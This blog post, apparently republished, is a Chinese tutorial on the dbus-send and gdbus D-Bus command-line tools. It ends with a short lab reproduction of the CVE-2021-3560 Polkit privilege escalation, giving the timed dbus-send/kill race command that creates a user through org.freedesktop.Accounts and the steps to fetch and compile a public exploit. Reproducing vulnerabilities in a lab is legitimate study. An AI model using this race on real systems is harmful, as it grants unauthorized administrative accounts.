dbus-send
Posted 人,唯一剥夺不了的,只有知识
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了dbus-send相关的知识,希望对你有一定的参考价值。
行工具dbus-send
,是freedesktoop提供的dbus包配套的命令客户端工具,可用于发送dbus消息。
GDbus
GLib实现的dbus工具。较与 dbus-send
,拥有更完整的功能。
dbus有两种消息总线 (message bus
):system bus
和 session bus
,通过使用 --system
和 --session
选项来通过dbus-send
向系统总线或会话总线发送消息。如果两者都未指定,默认为**session bus*.
-
System Bus
:- 在桌面上,为所有用户提供一条总线.
- 专用于系统服务。
- 有关于低级时间,例如 网络连接,USB设备。
- 在嵌入式Linux系统中,system bus是唯一D-Bus类型。
-
Session Bus
:- 每个用户会话一个实例
- 为用户应用提供那个桌面服务。
- 连接到
X-session
-
--dest=NAME
: 这个是必选的参数,指定要接收消息的接口名称。例如org.freedesktop.ExampleName
。--print-reply
: 打印回复消息。--print-reply=literal
: 如选项一样,打印回复正文。如有特殊字符,如对象或 object 则按字面打印,没有标点符号、转义字符等。--reply-timeout=
: 可选参数,等待回复的超时时长,单位为 毫秒。--system|--session
: 发送的消息是system bus还是session bus,默认为 session bus.--type=method_call|signal
: 调用的方法:默认为signal。必须始终指定要发送的消息的对象路径和名称。以下参数(如果有)是消息内容(消息参数)。这些值作为类型指定的值给出,可能包括如下所述的容器(数组、dict和变体)。
支持参数
dbus-send
发送的消息,在调用方法需要传参数时,必须将这些值给出。dbus-send
支持传入的参数的类型,并不为D-Bus支持的所有的数据类型,仅为一些简单的类型:如- Type: 这里
type
仅仅为简单的数据类型,即type:content
,支持的内容如下:string | int16 | uint16 | int32 | uint32 | int64 | uint64 | double | byte | boolean | objpath
。 - 数组:
array = array:<type>:<value>[,<value>...]
- 词典:
dict = dict:<type>:<type>:<key>,<value>[,<key>,<value>...]
。 - 变体:
variant = variant:<type>:<value>
。
根据官网的解析出来后如上述集中数据类型,更详细的描述可以根据官方 dbus-send 进行参考。
可以通过一张图来理解
dbus-send
发送一个消息所需的几个必须参数通过简单的命令,来了解一个
dbus-send
命令如何传入参数dbus-send --dest=org.freedesktop.ExampleName \\ # service /org/freedesktop/sample/object/name \\ # object org.freedesktop.ExampleInterface.ExampleMethod \\ # interface.method int32:47 string:\'hello world\' double:65.32 \\ # param int array:string:"1st item","next item","last item" \\ # param array dict:string:int32:"one",1,"two",2,"three",3 \\ # param dict variant:int32:-8 \\ # param variant objpath:/org/freedesktop/sample/object/name # param object_path
使用案例
如列出所有总线接口
dbus-send --session \\ --dest=org.freedesktop.DBus \\ --type=method_call \\ --print-reply \\ /org/freedesktop/DBus \\ org.freedesktop.DBus.ListNames
查看对方总线所支持的对象接口,
org.freedesktop.DBus.Introspectable
、org.freedesktop.DBus.Properties
和org.freedesktop.PowerManagement
。每个接口实现一些方法和信号。这些是你可以与之互动的东西。dbus-send --session \\ --type=method_call \\ --print-reply \\ --dest=org.freedesktop.DBus \\ / \\ org.freedesktop.DBus.Introspectable.Introspect
dbus-send
,也支持调用远程总线接口,通过默认通过DBUS_SESSION_BUS_ADDRESS
或DBUS_SYSTEM_BUS_ADDRESS
,来指定远程的总线。DBUS_SESSION_BUS_ADDRESS="" dbus-send --session \\ --type=method_call \\ --print-reply \\ --dest=org.freedesktop.DBus \\ / \\ org.freedesktop.DBus.Introspectable.Introspect
gdbus
gdbus是 GLib实现的dbus工具。较与
dbus-send
,拥有更完整的功能。introspect
: 可以打印出对象的接口和属性值。对应对象的所有者需要实现org.freedesktop.DBus.Introspectable
的接口。使用--xml
选项,将打印返回的xml
格式。--recurse
选项可将其子级等打印,--only
选项仅打印具有属性的接口。monitor
: 类似于dbus-monitor
call
: 调用一个方法,传入的必须为GVariant
,而相应的也为GVariant
。emit
: 发出信号。信号中包含的每个参数除字符串外都必须序列化为GVariant。使用案例
gdbus introspect --system \\ --dest org.freedesktop.UPower \\ --object-path \\ / \\ --recurse \\ --only-properties
通过call 来向一个dbus service发送信息
gdbus call --session \\ --dest org.freedesktop.Notifications \\ --object-path /org/freedesktop/Notifications \\ --method org.freedesktop.Notifications.Notify \\ my_app_name \\ 42 \\ gtk-dialog-info \\ "The Summary" \\ "Here\'s the body of the notification" \\ [] \\ \\ 5000 (uint32 12,)
监听一个服务的对象
gdbus monitor \\ --system \\ --dest org.freedesktop.NetworkManager \\ --object-path /org/freedesktop/NetworkManager/AccessPoint/4141
发送信号
gdbus emit --session \\ --object-path /foo \\ --signal org.bar.Foo "[\'foo\', \'bar\', \'baz\']"
想特定进程发送信号,`--dest 为指定进程。
gdbus emit \\ --session \\ --object-path /bar \\ --signal org.bar.Bar someString \\ --dest :1.42
- Type: 这里
CVE-2021-3560 Polkit权限提升漏洞复现
原理先不写了,毕竟之前写过
使用ubuntu16.04镜像
首先启动ssh服务
sudo service sshd start
通过ssh连接到本地
ssh [username]@127.0.0.1
此时在ssh连接的文本模式执行pkexec会启动文本验证
dbus-send指令可以从命令行触发polkit认证,如果在文本模式会话中执行,会立即执行失败,因为dbus-send不会启动自己的身份验证代理程序,而pkexec会自己启动身份验证。
CVE-2021-3560漏洞是通过启动dbus-send命令并在polkit仍在处理请求的过程中杀死进程断开连接来触发的,所以要kill掉该进程我们首先需要测试一下执行dbus-send需要多长时间。
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:zeeker string:"Zeeker Security" int32:1
我执行的时间平均是0.007s,所以我们在纸条命令后0.003s执行kill
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:zeeker string:"Zeeker Security" int32:1 & sleep 0.003s ; kill $!
但执行几次后都失败了,没有创建成功,所以直接上poc来测试。
下载poc
git clone https://github.com/hakivvi/CVE-2021-3560
运行exploit程序
gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
我们可以看到已经创建出了pwnd的用户只是没有登录上来
直接登录的话会失败,但是在界面切换是可以成功的。
以上是关于dbus-send的主要内容,如果未能解决你的问题,请参考以下文章